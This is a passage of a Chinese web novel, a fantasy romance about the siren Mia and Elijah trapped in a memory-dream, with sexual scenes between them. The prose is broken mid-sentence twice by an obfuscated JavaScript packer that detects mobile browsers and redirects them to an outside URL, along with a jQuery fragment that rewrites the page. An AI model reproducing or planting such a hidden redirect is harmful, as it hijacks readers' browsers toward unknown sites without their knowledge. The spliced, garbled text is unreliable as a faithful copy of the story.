说来也怪,从前她可以毫无负担地与他说话,现在却连最简单的感谢也说不出口。 她正纠结着,忽然浑身僵住,不可置信地低头。 以利亚竟然在用手指触摸她掌心的图腾。 “你做什么!”她赶紧甩开他的手,将手背到身后去。 以利亚没料到她反应这么大,愣了一下,视线不由得落到她红彤彤的脸颊和耳垂。 海妖因羞愤而呼吸急促,微微喘着气,胸口不停地起伏。 这样的她十分少见,以利亚刚巧见过几次,不过都是在——他别开了眼,呼吸也在不经意间乱了几息。 海风轻拂,热意被吹散了些,米娅感到有些后悔,她的反应太大,很容易让人看出点儿什么,以利亚大概又要笑话她。 可是等了一会儿,身前的男人却一句话没说,她不禁看过去,只见男人眼神闪躲,耳朵有一抹可疑的红。 他一定是猜到了! 这个地方她是待不下去了,本来想寻个清静,没想到心越来越乱,她转身就要离开,以利亚却在此时拦住了她。 “我只是好奇。” 不解释,还可以装作什么都没发生,一解释,米娅瞬间就炸毛了,她一把拽住他,展开双翼飞至半空中,警告他:“你不许再碰我!” 以利亚没反抗,看着有些狼狈,声音却颇为平静,“我只是好奇……你从没在我面前显示过你的图腾。” 米娅无语,“我既然要装人类,当然不能把图腾露出来了,况且,海妖成年之后,除非生命危急的时刻,图腾本来就会消失。” 以利亚望着她点了点头,明月倒映在他的眼底,仿佛一片宁静的湖水。 米娅晃了晃神,某个瞬间,她竟然分不清他和约翰了。 她赶紧扔下他,一头扎进生命之树茂密的枝叶中,没影了。 以利亚平稳落到地面,一边整理着凌乱的衣领,一边想着她离去时的样子,像只落荒而逃的小鸟,不禁笑了笑。 月亮在他身后,硕大如盘。 以利亚也缓缓向木屋的方向走去,半道上,忽然皱着眉回头望了眼天上的明月。 奥修斯岛每个白天都有阳光,每个晚上都有月明,似乎从来不见乌云,是“记忆”的疏忽? 【不是的,从我记事起,奥修斯岛的天空就从来不被乌云笼罩,第一次出岛之前,我还以为人类世界也是一样,结果去到人类岛屿的第一个夜晚就下起了大雨,把我吓了一跳。】 第二天,以利亚从米娅那里得到了答案。 昨晚的偶遇打破了他们几个月来的僵局,心底的对话也多了起来。 米娅说的时候,以利亚眼前浮现了她说的场景,小小的海妖女孩,还不能藏起自己的羽翼和利爪,在雨夜里颤抖着抱住了身边化作人类模样的老祭司。 他们心声相连,这是米娅此时回忆起的画面。 【看来是神明的馈赠了。】 米娅骄傲道:【自然,海神对海妖的偏爱从不掩饰。】 真的是这样么? 不愿再引起不必要的争论,以利亚屏蔽了自己的想法。 太阳也好,月亮也罢,还有那些云彩,听从的都是另一位神明的号令。 *** 纵然有千般不愿,那一天还是如期到来。 米娅记得不错,正正好十五天之后,回忆中的自己成年了,她手心的图腾变得完整,美丽的大树,环绕的飞鸟,尖喙仿佛要啄破她的手掌。 成年,意味着她可以随时接任祭司。 老祭司已经太老了,老到不知道送走了多少海妖,老到有时甚至说起了胡话。 少女和人类一起为她带来这个消息时,她将人类认作了另一个人,口中叫嚷着“您又活过来了”之类让人摸不着头脑的话。 少女焦急地握住她的手腕,她又突然恢复了正常,仿佛刚才的一切只是他们的幻觉。 老祭司和蔼可亲的面容上挂着慈祥的笑,今天的笑容更加喜悦,还调侃了两人几句。 少女和人类之间的关系在岛上已经不是秘密。 海妖们白天总能看到他们时时刻刻在一起,就连少女练习神语和歌声之时,他也戴着耳塞在一旁温柔注视着她。 日子在这么平和幸福中一天天过去,美好得不像真实。 海妖少女成年的这一天,奥修斯岛上自发举办起盛大的宴会,浆果是她们一直以来的主食,从人类世界买回来的美酒与美食是最令人心动的点缀。 海妖只需要吃一点儿浆果就能维持体力,但口腹之欲早就在默默侵蚀着她们。 终于逮到了机会享受,她们不会放过,至于宴会的主角早就跑了,好像也不是很重要。 宴会之上的喧嚣与躲在生命之树的阴影处热吻的两人毫无关系,他们还能听见来自于宴会的欢笑声,身心却已经被面前的身躯捕获。 热烈的身躯迫不及待地抱在了一起,半个月来浅尝辄止的吻早已不能满足两颗悸动的心,少女将碍事的羽翼完全收起,手和脚也化作了人类的样子。 柔嫩的嘴唇比早上开得最艳的鲜花还要娇艳,唇齿之间满溢着清酒的甜香,少女喝了不少酒,小脸通红。 唇齿相依,未来得及下咽的清酒顺着她的舌尖引渡到另一人口中,她一个激灵,蓦然推开人类。 “怎么了?”人类抚摸着她的脸颊。 “你不是不喝酒吗?” 宴会上,人类多次拒绝了海妖们的劝说,滴酒未沾。 人类吻住她的唇,将她唇上的美酒舔舐干净,“没关系。” 海妖少女的脸更红了,她的手伸进了男人的衣襟里,毫无章法地一顿乱摸,点起名为欲望的火焰。 “米娅姐姐——”尤妮的呼唤让两人动作一顿。 她快要靠近这片阴影,可是事到如今,完全沉溺在欲海中的两人怎么可能停得下来。 少女拽着人类的衣领,拉着他向后倒去,坚实的树干忽然化作柔软的海水,将他们包裹起来,失重的感觉传来之时,他们掉入了一个很小的房间。 房间中央一张一人宽的小床,周围一个放着一堆盒子的书架,很小,很逼仄,但也很隐蔽。 进来的一瞬间,外界所有的声音都消失了。 “这是?”人类惊异地看向周围。 “这是生命之树的树干里面,我在这里面有个小房间,只是祭司大人知道这里,但没有我的带领,她也进不来。”少女美丽的眼眸仿佛蒙了一层水雾,水润朦胧,比珍珠还美,她凑到人类耳边,羞涩又大胆,“在这里,不会有人打扰我们。” 他们一起跌入了那张小床上,每动一下,不堪重负的小床就会发出吱呀一声以示抗议。 起初听到这声音,他们还有些害羞,但是一想到没有别人能听得见,羞涩便被摒弃,甚至这声音成了另一种和弦,拨动着他们的心弦。 少女弓着腰,承受着来自另一个人的热浪,她的肌肤泛着淡淡的粉色,像含苞待放的鲜花,她的身体却完全打开,生涩地回应着人类那些令人脸红心跳的动作。 她没有歌唱,天籁般的声音低吟,却比歌声还要动听,高低起伏,就是最完美的乐曲。 最后的那个时刻,她轻轻咬在人类的肩头,“你可以留在奥修斯岛吗?永远陪着我。” 她纠结了很多天的问题,还是问了出来。 这让米娅也不禁屏住了呼吸,她知道故事的结局,圆满永远是稀少的。 她以为她会嘲笑自己,或者骂两句人类的言而无信,可是以上情况都没有发生,她的心跳和曾经的自己一样快。 她看着伏在身上的男人,第一次忽略了他的长相,试图望进他的内心里。 你是怎么回答的? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔……” 只有一些不成语调的呜咽在抗议。 男人听到了,于是他的动作停了一瞬,米娅趁机叫道:“以利亚,你在做什么——啊!” 米娅僵住,冰凉的触感从身体最深处传来。 她彻底说不出话了,不知道该惊讶自己又控制了这副身躯还是该惊讶以利亚的疯狂举动。 还未冷却的身体格外敏感,都不需要太多动作,就又勾起了心底的痒意。 米娅起初想推开他,可是当她抬起手时,刚才自己的哭声又在耳边回荡了起来,还有在高塔上的那个夜晚,眼角的那一滴泪水。 她何必为那个人伤心呢。 自暴自弃的心态攫住了她,应该推开男人的手转而拥抱住他。 …… 谁也没说话,沉默在狭小的空间中蔓延,后来,所有声音都消失了,米娅怔怔地盯着墙壁上木头的纹路,脑中一片混沌。 以利亚不满她的心不在焉,将她侧着的脸扭了回来,正对着他的脸。 他皱着眉,复杂的情绪在他脸上若隐若现,即使是高塔上的那个夜晚,她也没见过他这副模样。 痛苦与欢愉交织,怒气与爱怜纠缠。 米娅有点儿想笑,她又在自作多情了。 哪来的爱。 她真的笑了出来,笑着笑着又哭了起来,豆大的泪珠从眼角滑落,片刻就打湿了身下的床单。 以利亚停了下来,不知所措的神情从他脸上一闪而过。 “你——” “不要说话,我现在不想听见你的声音。”她哭着阻止他。 她听见他叹息了一声,而后竟然真的没有了他的声音。 身下又是吱呀一声,是以利亚从床上坐了起来,身边唯一的温度离开了她。 米娅也不知道自己哭了很久,直到一件如丝绸一般顺滑的衣服扔到自己头上,她胡乱扯下去,拿它当手帕用,抹去脸上的泪水。 “……”她听见了以利亚无语的呼吸声,“这是让你穿的。” 米娅将衣服扔回他身上,“要你管。” 这个时候,她终于有空低头看一眼自己赤裸的身体,基本可以算得上是一片狼藉,到处都是暧昧的痕迹。 这男人疯了吗? 虽然以利亚身上也不比她好多少。 以利亚已经穿好了衣服,坐到床边,倾身盯着她,“为什么哭?” 有点儿无奈的语气,就像在面对一个无理取闹的孩子,甚至还有点儿难得的温柔。 米娅几乎要以为现在又是另一个人的意识占据了眼前的身躯,可是男人紧抿的唇泄漏了他究竟是谁。 米娅不说话,扯过被蹂躏得不成样子的被子遮住赤裸的娇躯,以半跪着的方式坐在床上,她恶狠狠地瞪着他,“凭什么我要杀你就动弹不得,你要睡我却一点儿问题没有?!” 她自以为凶恶,却不知自己泪痕点点眼尾泛红的样子有多么诱人。 以利亚喉结动了动,不动声色地靠近她,“你也可以试试反过来,想必会有一样的效果。” 42. 失控(一) 米娅愣了一下才反应过来他话里的意思,瞬间气结。 都这种时候了他竟然还在调戏她。 米娅又惊又怒,一把将他掀翻,手臂抵在他的喉咙处,“别以为我不敢杀你。” 男人抬手按住她滑腻的腰肢,哑声道:“你不想杀我。” 笃定的陈述。 如果她想杀他,现在肯定动不了了,所以少女是在口是心非。 米娅瞪着他,突然低头,在他锁骨旁咬了一口。 这一口一点儿都没留情,男人不禁皱起了眉,却没有推开她,静谧充斥在小屋中,只闻呼吸与心跳声。 良久,米娅抬起头,擦去嘴角的一抹鲜血,挣脱他的怀抱,回头冷冷地看了他一眼,“出去之后,我会做到的。” 她环顾四周,房间内一片狼藉,叫人没眼看。 她重新找了件衣裳穿上,走了出去。 外面天已经蒙蒙亮,太阳在地平线之下探出了头,照得远处的海面一片火红,喧闹的宴会早就散了。 如同每个日出前的黎明时分,寂静笼罩着海岛。 冷风吹过,米娅瑟缩了一下。 远处的海滩上,海浪卷起白沫,不知停歇地冲刷着岸上的一切。 米娅向着太阳升起的方向走过去,一个小小的黑影蜷缩在路边,听到声音,抬起圆圆的脑袋,扑进了她的怀里,“米娅姐姐,你去哪儿了,我找了你好久。” 这也是回忆中发生的事情吗,米娅糊涂了。 如果是,为什么还是她在控制这具身躯,如果不是,为什么尤妮会出现在这里。 但她还是蹲下来,抱住了那小小的身影,“对不起,尤妮。” “米娅姐姐,你不开心吗?”小孩子总是敏锐地感知着大人们的情绪,而且往往没有顾忌地指出来,“是不是他欺负你了,我帮你报仇。” 她愤慨地握起拳头,朝从晨雾中走出来的另一个人挥了挥拳头。 “没有。”米娅柔声否认着,透过孩子小小的脸,看到了她长大后的模样。 那个娇俏的少女,表情鲜活生动,她曾经这么依赖自己,后来她不满自己的退让,认为这都是源于自己曾有一个人类恋人,所以对人类还抱有幻想。 米娅一向否认她的这般猜测,然而事到如今,她也分不清了,被刻意压制的感情涌上来之时,她终于明白,原来自己始终没有放下。 太阳从地平线上缓缓升起,照亮了她蓝色的眼眸,米娅回过头,看到以利亚的身影,她半眯起眼睛,“我们到底什么时候能出去?” 她有些抗拒继续在回忆里待着了。 “我也不知道。” 以利亚看向远处的海面,围绕奥修斯岛的风暴依稀可见,隔绝海妖与人类的世界。 米娅不解,“你不是那支笔的主人吗?” 说到那支羽毛笔,以利亚的眉间终于也染上了和现实中一样的冷意,“它从未真正臣服,你不该去招惹它。” “你们在说什么呀,我怎么一句话也听不懂,米娅姐姐,你要出岛吗,我可不可以跟你一起去?”尤妮歪头看着他们。 米娅神色一僵,赶紧闭上嘴。 【怎么回事,她全都听见了。】 他们刚进入回忆中时,也曾像这样在别的海妖面前交谈过,别的海妖却完全无视了他们,仿佛他们并不存在。 他们归咎于她的回忆中不存在这样的交谈,所以别的海妖听不见或者听见了也不能做出反应。 刚遇见尤妮时,她和尤妮能对话已经有些奇怪了,她只当是她们对话的内容曾在她的回忆中存在过。 毕竟以尤妮的性格,完全能说得出来那一番话。 现在的情况却解释不通了。 以利亚的语气也很困惑,【不应该出现这样的状况。】 这时,太阳跃出了海平面。 奇怪的感觉蔓延全身,米娅并不陌生,是曾经的她苏醒了。 她失去了对身体的掌控权,听见自己咦了一声,“我怎么在这?” 【以利亚!】 米娅赶紧呼唤另一个人,为了保证回忆进行顺利,以前她都会尽量让曾经的自己在哪里沉睡就在哪里醒来,现在的情况还是头一遭。 好一会儿,男人才回应她,带来的却是更糟糕的消息,【我还能控制身体。】 米娅愣住。 情况愈发复杂了。 “尤妮?你怎么也在?”她听见自己又问。 再让自己疑惑下去,事情恐怕不妙,自己可不是能轻易糊弄的。 米娅慌了神,偏偏她现在什么也做不了。 【米娅。】以利亚忽然轻声唤她,【别急,有我在。】 她知道,她不该相信他,可是听见这句话,竟一下子就冷静了下来。 以利亚走过去,抓住海妖少女的胳膊,将她拽了起来,他的动作不算温柔,海妖少女吃痛地惊呼一声,抱怨的话还没说出口,就被他拽着踉踉跄跄地往回走去。 她只好回头对尤妮喊道:“尤妮,你先回屋去,我待会儿来找你。” 他们来到生命之树的主干前,以利亚放开她,做了个请的手势。 海妖少女一头雾水,拉着他走进了隐藏在树干里的小屋中,屋内的景象还维持着米娅和以利亚离开时的样子,一片凌乱。 海妖少女呆住了,她不禁挠了挠头,他们昨晚有这么激烈吗? 一切都怪怪的,她看向身旁的男人,疑惑不减反增,男人神态平静,却不见了往日的温柔,冷淡与高傲杂糅在一起,明明离得这么近,却像隔着好远好远的距离。 远得让她觉得他的身影竟有几分孤寂。 她情不自禁抱住了他,仰着小脸,担忧地望着他,“你怎么了?” 【!!】 【……】 海妖少女的举动大大出乎以利亚和米娅的预料。 她的第一反应竟然是担忧而不是生气,对于针锋相对了这么久的他们来说,实在难以置信。 愕然过后,以利亚的眉眼柔和下来,他将衣襟扯开,露出米娅咬出的那个牙印,已经结了薄薄的一层血痂。 海妖少女伸出指尖摸了摸,还是软的,刚结痂不久,被她一摸,有破开的迹象,她赶紧收回手指。 “是我咬的?” “还能有别人吗?”以利亚睨她一眼,合拢衣襟。 海妖少女顿时手足无措起来,“我怎么一点儿都不记得了……疼吗?” “还好。”以利亚摸了摸她的头,无奈道,“早知道你的酒量很差,就不该让你喝那么多酒。” 海妖少女听说过有些人类喝太多酒会做出一些荒唐的举动,而且第二天醒来自己完全不记得,她没想到海妖也会,瞬间羞红了脸。 “我——我还做了什么吗?”好一会儿,她尴尬地问道,也不敢抬头看人类的表情。 不用想都知道是些很丢脸的事情。 “也没什么。”以利亚故意停顿了一下,看她松了一口气,才又继续说道,“不过是一大早拉着我去看日出,半途遇到尤妮,差点儿在她面前说些不该说的话。” “什么?!” 海妖少女目瞪口呆,她说怎么自己在海滩上呢,还有尤妮,难怪尤妮刚才一脸好奇的样子。 “你不信么,你跟尤妮说的那些话,我可以复述一遍。”说是这么说,他声音低沉,像是极不情愿。 “不必了!”海妖少女赶紧叫道,手捂住耳朵,生怕自己听到之后记起来了更尴尬,心里盘算着待会儿该怎么把尤妮糊弄过去。 “我再也不喝酒了!” 此事最后以她的承诺告终。 以利亚看见她握着拳头信誓旦旦的样子,终于笑了,一瞬间似乎又回到了平时那个温柔体贴的样子。 最后的违和之处也消失了,海妖少女再无疑惑。 以利亚再适时抱住她,“陪我再睡一会儿吧。” 折腾了一整个晚上,是该觉得累了,他这么一说,少女也感觉眼皮重了起来,相拥着躺到床上,竟很快就睡着了。 只是她不知道,刚一睡着,自己又睁开了眼睛。 米娅从床上坐起来,紧抿着唇,半天没动静。 “怎么不说话?”以利亚的声音在身侧响起。 米娅看过去,他的眼神一片清明,不见半点儿疲惫的影子,脸上的笑容也没有了,又换上了一贯的冷淡表情。 米娅摇了摇头,实在是不知道该说什么,围观了刚才的一场戏剧,她的心情复杂到了顶点。 不识人心险恶的海妖少女,三两句话就被人类骗的团团转,甚至以为一切混乱都是自己的错,要不是亲眼看见,她一定不信。 戏剧中的海妖少女,是过去的她。 这种看着别人骗了自己还什么都不能说的感觉,实在是太糟糕了。 她忘了,就算自己不说话,以利亚也能感受到自己的心情。 “是你求我帮忙的。”以利亚冷笑一声坐了起来,一手掐着她的腰,一手将她的脸扳过来,“还是以前的你更直率可爱些。” 米娅被迫与他四目相对,瞥见他嘴角略带嘲讽的微笑,心里一痛,第一反应竟然是想到他刚才在过去的自己的面前笑容。 米娅怔怔地想,原来他也能那么温柔地笑。 掐着腰的手掌突然一松,以利亚不可置信地看着她,“米娅,你难道……在吃自己的醋?” 话一出口,他自己都觉得荒唐。 难以想象这女人会有吃醋的时候,而且还是吃过去的自己的醋,可是除了这个解释,竟也没有更好的解释了。 “怎么会……”米娅当然否认,别开眼去,“你也看到了,这个时候的我很单纯,对人类毫无恶意,哪怕看在这一点上,你能不能……别伤害她。” 她转移了话题,以利亚倒不意外,要是她能承认,反倒不对劲了。 他不以为意,“我如何能伤害她。” 米娅说:“如果你一直掌握着这具身体的控制权——” 她没能说完,似乎觉得难以启齿,以利亚接过话头,直截了当地说:“原来你是在担心我会和她发生点什么,这可不只取决于我,你该问问你自己。” 他的骄傲岂会允许他顶着别人的身份做这种事,但米娅的担忧令他气恼,更激起了他恶作剧的心态,偏偏就不给她想要的回答。 米娅脸色一白,以利亚说得不错,曾经的自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018054|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚跟恋人有了更进一步的关系,一定不会满足于这一个夜晚。 她一慌,口不择言起来,“只要你拒绝——” 以利亚没给她说完的机会,欺身过来将她压倒在床上,嘲笑她在说胡话,“我为什么要拒绝?米娅,别忘了,我也是个普通男人。” 米娅心道,普通男人,说出去谁信啊。 她又忘了他能听见,念头刚一闪过,以利亚就俯身堵住了她的嘴唇。 米娅抬手想要推开他,以利亚扣住她的手掌,轻松化解了她的招式,纠缠在一起的身体越来越热,仿佛某种危险的讯号。 亲吻的间隙,米娅气喘吁吁地叫道:“……停下。” 再这样下去,待会儿自己醒了,又不知道该如何解释了。 以利亚果然停住了动作,他本来也没打算真的做什么,不过是吓唬一下她,在这件事上,他们倒是想到一块儿去了。 “回忆”愈发混乱起来,眼下将这场戏演好,赶紧出去才是正事。 察觉到禁锢在手掌上的力气变小,米娅赶紧挣脱,一把推开他,从床上坐起来,缩到床尾,扯过被子把自己的裹得严严实实,仅露出脸。 难怪有人跟她说男人可以把身体和感情分得很开,不是说不喜欢她吗,从他昨夜和刚刚的表现可看不出来。 “哦?什么表现?”以利亚慢悠悠地问。 米娅脸一热,恼羞成怒道:“都说了不要听我的心声!” 前几个月,他不是控制的很好吗? “你的心乱了,我就是想屏蔽,也做不到。” 这一回,米娅听出了他声音中的严肃,不觉心神一凛,想到最近这些日子自己心态的变化,她也渐渐察觉到,她有些陷进回忆里了。 陷得愈深,便愈容易被牵动情绪。 米娅深深地呼吸,将杂乱的思绪压下去,面上渐渐恢复了冷静,她看着男人的眼睛,坚定地说:“你曾说你有办法强行出去,是什么办法?” 她无法再忍受被困在这片混乱里。 以利亚看着她,也许是光线的影响,棕色的眼眸仿佛蒙上了一层淡红色的色彩,“回忆的梦境由那支羽毛笔创造,将它揪出来,自然能威胁它放我们出去,只是与梦境的创造者对抗势必会招来强烈的反噬,也许会和这片梦境同归于尽。” 米娅记得他说过,强行出去会付出巨大的代价,但她现在宁愿去赌一把也想出去。 她追问:“怎么才能把它揪出来?” 以利亚摇了摇头,“晚了。” “什么意思?” “我已经试过了,此前我还能隐隐感觉它的存在,现在它的气息完全消失了。” 如果说之前揪出那支羽毛笔的难度是在大海中寻找一条特殊的鱼,希望渺茫但好歹还有,现在就是在大海中寻找一条不存在的鱼,彻底没可能了。 “怎么这样……”她有些失落。 那支羽毛笔不应该监视着他们的一举一动,保证回忆能正常地进行下去吗? 难道是外面出事了? 以利亚对此倒是很自信,“外面有卡伦和休伊在,短时间内不会出事。” 虽然在他的刻意掩盖下,米娅听不见他的心声,但还是能隐约感觉到他内心的疑惑。 至少在目前的状况上,他没有骗自己,而且在海滩上的反常一幕,似乎也能说得通了,没了神器的约束,过去的自己的意志突然控制了身体,而过去的恋人却没有苏醒。 真是这样的话,回忆还能按照原本的模样走下去么,米娅很怀疑,如果不能的话,那他们不是更不可能出去了? 米娅忧虑起来,突然,她的脑海中闪过了回忆中的第一个晚上的场景。 她有办法验证他们的猜想了。 她向以利亚扑了过去,将男人压在身下,居高临下看着他,双手放在他的胸口,找到胸膛震动的源头,指甲一点一点变长。 没有任何阻碍,即使她的指甲已经划破了男人胸前的皮肤,血珠都冒了出来,她依然可以动弹。 “……真的不见了。”米娅垂首喃喃自语。 “是从什么时候开始的呢?”她既在问自己,也在问以利亚。 昨夜之前,一切看起来都还有条不紊。 思索了良久,身下的人却一点儿反应也没有,米娅疑惑地看过去,只见男人神色晦暗,嘴角紧绷,眼神幽深地盯着她的手。 他似乎心情不太好。 米娅低头看去,自己的手掌还按在他的胸膛上,指甲渐渐褪去,又变回了修长美丽无害的双手。 她只能认为是因为自己突然的发难,可是他应该知道,自己没打算真的杀了他,血珠冒出来的地方,仅仅只是破了点儿皮而已。 在这场不知道什么时候才能逃离的回忆里,他们姑且是合作者。 罢了,如果是她的话,也会有一点点儿生气吧,她一边说着“你别误会”,一边将手掌移开。 手掌刚一动,以利亚就握住了她的手腕向下压,强行让掌心紧贴他的胸膛。 米娅不明所以,挣脱他的束缚便要起身,然而下一刻以利亚说的话却让她愣住了。 以利亚说:“你不觉得这一幕很眼熟吗?” 43. 失控(二) 听到以利亚的话,米娅的心一下子沉了下来。 他们不愧“心意相通”,她立刻就反应过来了他说的是哪一幕。 在他们进入这段回忆之前的那个夜晚,她就是用这样的姿势,扯出了他的心脏,自以为是地宣判了他的死亡。 甚至在那之前,他们也经历过一场酣畅淋漓的欢好。 何其相似。 米娅紧抿嘴唇,自从知道他们必须合作才能出去,她都尽量避免自己想起在赫尔西岛和他发生的一切事情,包括那一晚。 一旦算起旧账来,哪有算清的一天呢? 她相信他也是同样,不然也不会除了第一天之外再未主动提起过那些事情。 她不明白他为何要在此刻忽然提起,更不知道该如何回答。 似曾相似吗?简直一模一样。 而且,既然神器无法再约束他们的行动,她完全可以再重演一次当时的情景,只要她狠得下心来。 米娅想,他一动不动任由我折腾,也是想看,我到底狠不狠得下这个心吧。 她不说话,他也不说话,谁都对答案心知肚明。 萦绕在两人之间似有若无的暧昧气息,像被一柄无形的剑斩断了一样,彻底消散了。 良久,以利亚松开她的手腕,无所谓地一笑,“当我没问。” 他给了台阶下,米娅也干笑两声,借坡下驴,正巧这时外面传来了隐隐的呼唤声,是尤妮正在叫她的名字。 她跳下床去,对着镜子整理了一下头发和裙子,扔下一句“我去看看”,赶紧跑了。 以利亚看着她近乎落荒而逃的背影,笑意渐渐从眼中消失。 他揉了揉眉心,自嘲地想,在回忆中待久了,他也不可避免地受到了影响。 “本不该有那一问的。”以利亚低语。 “说清楚,也没什么不好吧。”细长的影子在他面前不远处的空气中出现,通体透明如水,只有轮廓的边缘隐约可以分辨。 那声音稚嫩如孩童,“我都替你们着急。” 是那支羽毛笔。 以利亚伸手去抓它。 羽毛笔抖擞着尾部的羽毛,笔杆一动不动。 以利亚皱了一下眉,察觉到不对劲,往常这支羽毛笔是很怕他的,下意识也会躲开,现在这样子,倒像是有恃无恐。 果然,下一刻,他握了个空,掌心穿过羽毛笔所在的位置,就像穿过了空气。 它不是实物。 “别白费力气了。” 眼见着男人对自己造成不了任何威胁,它的胆子大了起来,说话也不客气起来,“你抓不住我的,我根本就不存在于这个时空。” “这个时空?” *** 稚嫩可爱的小海妖在生命之树紫色的巨大枝叶间穿梭,探着个脑袋到处乱瞅,一边瞅一边叫着:“米娅姐姐——” 她的声音引得路过的海妖纷纷回头。 其中一个调侃道:“小尤妮,你不是天天跟米娅形影不离吗,怎么也找不到她了?” 尤妮嘴一扁,委屈得仿佛随时能哭出来,“米娅姐姐不要我了,她跟人类跑了,我都找不到她。” 她兀自伤心着,海妖们却互相对视一眼,暧昧地笑了。 米娅循声而来,正好听到他们的对话,脚下一滑,差点儿没从树枝上摔下去。 尤妮说什么呢! 她正要过去,另一只海妖飞了过来,一把揪住尤妮的衣领,提溜着她飞走了。 海妖们见没热闹可看,也散开了。 米娅连忙跟上去,前面一大一小两只海妖绕着生命之树飞了半圈,找到一处安静的角落停了下来。 米娅犹豫了一下,没有立即上前,躲在一片巨大的树叶之后。 大一点儿的海妖生气道:“尤妮,你不准到处乱说米娅跟那个人类有什么!” 先前没来得及看清,现在声音一出来,米娅立刻认出了他——迪伦。 突然被拽走,尤妮也生气了,狠狠地推了迪伦一把,可是她太小了,哪里推得动一只成年海妖,迪伦纹丝不动,她却倒退了好几步,还被树枝绊了脚,一屁股坐了下去。 尤妮委屈到了顶点,水汪汪的眼睛眨了眨,哇地一声哭了起来,“我……我才没有……乱说,我亲耳听到的,他们……他们说要出去……呜呜呜……米娅姐姐……她不要我们了……” “我没有不要你们。”米娅拨开树叶,飞到他们面前。 她没想到尤妮不仅听到了她和以利亚的对话,还误会了他们的意思,再不出来,只怕误会越来越大。 尤妮的哭声戛然而止,呆呆地望着她。 米娅将她拉起来,握住她的小手,一字一顿地说:“无论发生什么事情,我都不会抛下你们。” 像是说给她听,又像是说给自己听。 尤妮擦了擦眼泪,“那你说出去是什么意思?” 迪伦听到这里,自以为弄清楚了是怎么一回事,翻了个白眼,没好气地说:“当然是出岛去喽你这个笨蛋,你不也天天想出岛去玩吗?出去几天又不是不回来了。” “真的吗?”尤妮看着米娅。 米娅下意识想反驳,不能出岛,尤其是他们,都得给她老老实实待在奥修斯岛,话到嘴边,被理智制止。 这会儿还没有海妖捕杀令,人类和海妖的关系也还算融洽,出岛不是什么大不了的事情。 她平白无故阻止,反倒招人怀疑。 米娅咬了咬牙,从齿缝间挤出一个字:“是。” 尤妮转悲为喜,眼中满是希冀的神色,“我可以跟你们一起去吗?” 看着她的眼睛,米娅摸了摸她的头,狠心地说:“这次不行哦。” 小孩子的情绪来得快也去得快,尤妮瘪了瘪嘴,有些不满,但一想到米娅姐姐不是不要她了,又开心起来,仰着头说:“哼,这次就算了,下次一定要带上我。” 米娅笑了,“好。” 迪伦拉着尤妮离开了,四周安静下来,米娅紧绷的心也有些放松,她忍不住看向海面。 被风暴环绕的奥修斯岛就是一座孤岛,她再怎么极目远眺,也穿不透风暴的阻隔。 出岛去么? 从她进入回忆之后,就从没想过这件事。 一来,她受十一年后的局势影响太深,下意识地觉得踏足人类领地是件危险的事,二来,在她的记忆里,她救下人类之后,她和人类之间发生的一切故事都是在奥修斯岛上,直到人类独自离开了奥修斯岛再没有回来。 冷静下来想想,反正回忆已经混乱了,再添上一件回忆中不曾出现的事情,也没什么不可以,说不定还能借此引出那支羽毛笔。 要说从奥修斯岛出去,第一站永远都是赫尔西岛了。 不知道现在的赫尔西岛是什么样子,她依稀记得,这个时间点,赫尔西岛的领主是年少的莱森,以利亚还在不知道哪个地方躲避皇室的追杀呢。 米娅将手放到树干上,口中默念咒语,一眨眼,又回到了位于树干中的小屋。 碍于合作关系,她还得跟以利亚商量一下此事。 正想着,米娅看清了小屋中的景象,不禁目瞪口呆。 小屋呈叶形,斜对着床的方向有几排嵌进墙壁里的书架,不过上面摆的都不是书,而是她的收藏。 和赫特高塔四层那些古怪又危险的藏品不同,这些大部分是她收到的礼物,有木雕、琉璃灯盏等等,大部分不值钱,但都精美别致,她很喜欢。 眼下,这些小物件就像经历了一场地震一样,散落一地。 而在他们中间,挺拔修长的背影手中拿着其中一个玻璃瓶,正端详着。 米娅火气一下就上来了。 “放下!”米娅怒气冲冲地跑过去,将玻璃瓶从男人手中夺下,抱在怀里,瞪着他,“你在搞什么?!” 男人似乎愣住了,双手还维持着拿着玻璃瓶的姿势,他看着米娅,棕色的眸子里闪过一丝受伤的情绪。 他说:“抱歉,我看到他们都掉在地上,就想捡起来。” 这借口也太敷衍了,米娅腹诽着,突然觉得有哪里不对劲。 她想了想,终于明白过来,男人的语气太真诚太温和了。 米娅整个僵住,半 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米娅突然发现,虽然已经过去了几个月,但她依然对当下的状况知之甚少,可以商量和依赖的,竟然只有以利亚一人。 现在连他也不见了,即使周围都是她熟悉的人事物,却萌生了天地间只剩下了她的念头。 “米娅,你怎么了?” 熟悉的声音响起,刹那间,米娅还以为是以利亚又出现了,可是触及那人担忧的目光,幻想瞬间被打破。 不是他。 米娅勉强笑了一下,差点忘了,眼前还有个麻烦事。 “我没事。”她看向满地的狼藉,不禁又恍惚了一下,难道以利亚在消失前,曾和那支羽毛笔有过争斗? “我……我想整理一下来着,你不知道顺序,会弄乱的。”随口胡诌了个借口,也不管他信没信,将手中的玻璃瓶放到桌上,又将地上散落的东西一一捡起来放回架子上。 人类想帮忙,被她拒绝了,只好站在一旁看着。 直到地上的最后一件东西放回原处,人类走过来,握住她的双手,用手帕轻轻擦拭她指尖手掌上的灰尘。 米娅指尖瑟缩了一下,人类的掌心温暖,动作轻柔,她有些不习惯。 平时她也能感受到过去的自己和人类相处的点点滴滴,但毕竟不能控制自己的身体,总像是隔了一层,不像现在这样,她能够清楚地听到他的呼吸声,感受着他的指尖在自己的掌心滑动。 而且,他还顶着以利亚的脸和以利亚的声音。 米娅想躲开,但再躲就说不过去了,他们又不是纯情少年少女,握个手就要害羞。 